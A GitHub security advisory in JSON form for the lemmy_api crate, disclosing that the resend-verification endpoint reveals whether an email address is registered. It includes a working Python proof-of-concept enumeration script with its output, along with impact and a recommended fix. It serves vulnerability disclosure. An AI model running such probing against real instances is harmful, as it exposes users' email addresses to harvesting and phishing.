GHSA-qxrw-f6fh-34r7: Lemmy api Lemmy Resend-verification Endpoint Exposes Registered Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qxrw-f6fh-34r7",
  "modified" : "2026-05-06T23:49:18Z",
  "published" : "2026-05-06T23:49:18Z",
  "aliases" : [ ],
  "summary" : "Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users",
  "details" : "## Summary\n\nThe unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to `/api/v4/account/auth/resend_verification_email` and distinguish accounts from misses.\n\n## Details\n\n`resend_verification_email()` looks up the submitted address and returns the lookup error to the caller:\n\n```rust\nlet local_user_view = LocalUserView::find_by_email(&mut context.pool(), &email).await?;\ncheck_local_user_valid(&local_user_view)?;\n```\n\nThe password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.\n\n## Proof of Concept\n\nThe following script creates one user and probes that address plus a missing address.\n\n```python\nimport requests, random, string\n\nBASE = \"http://127.0.0.1:8536/api/v4\"  # change to the target Lemmy URL\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\nPASSWORD = \"Password123456!\"\n\ndef post(path, **body):\n    return requests.post(BASE + path, json=body)\n\nsuffix = \"enum\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nadmin = post(\"/account/auth/login\", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()[\"jwt\"]\nrequests.put(BASE + \"/site\", headers={\"Authorization\": \"Bearer \" + admin},\n             json={\"registration_mode\": \"open\", \"email_verification_required\": False})\n\nemail = \"alice\" + suffix + \"@example.test\"\npost(\"/account/auth/register\", username=\"alice\" + suffix, password=PASSWORD,\n     password_verify=PASSWORD, email=email).raise_for_status()\n\nfor candidate in [email, \"missing\" + suffix + \"@example.test\"]:\n    r = post(\"/account/auth/resend_verification_email\", email=candidate)\n    print(candidate, \"HTTP\", r.status_code, r.text[:300])\n\n```\n\nOutput:\n\n```text\nalicepoceudtpf@example.test HTTP 200 {\"success\":true}\nmissingpoceudtpf@example.test HTTP 404 {\"error\":\"not_found\",\"cause\":\"Record not found\"}\n```\n\n## Impact\n\nA malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because `check_local_user_valid()` returns separate error types.\n\n## Recommended Fix\n\nUse the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return `{\"success\": true}` for syntactically valid input.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "lemmy_api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.19.1-rc.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-qxrw-f6fh-34r7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LemmyNet/lemmy/commit/4afff1699d08920b9a9023e81b229d772b894d91"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/LemmyNet/lemmy"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-204" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T23:49:18Z",
    "nvd_published_at" : null
  }
}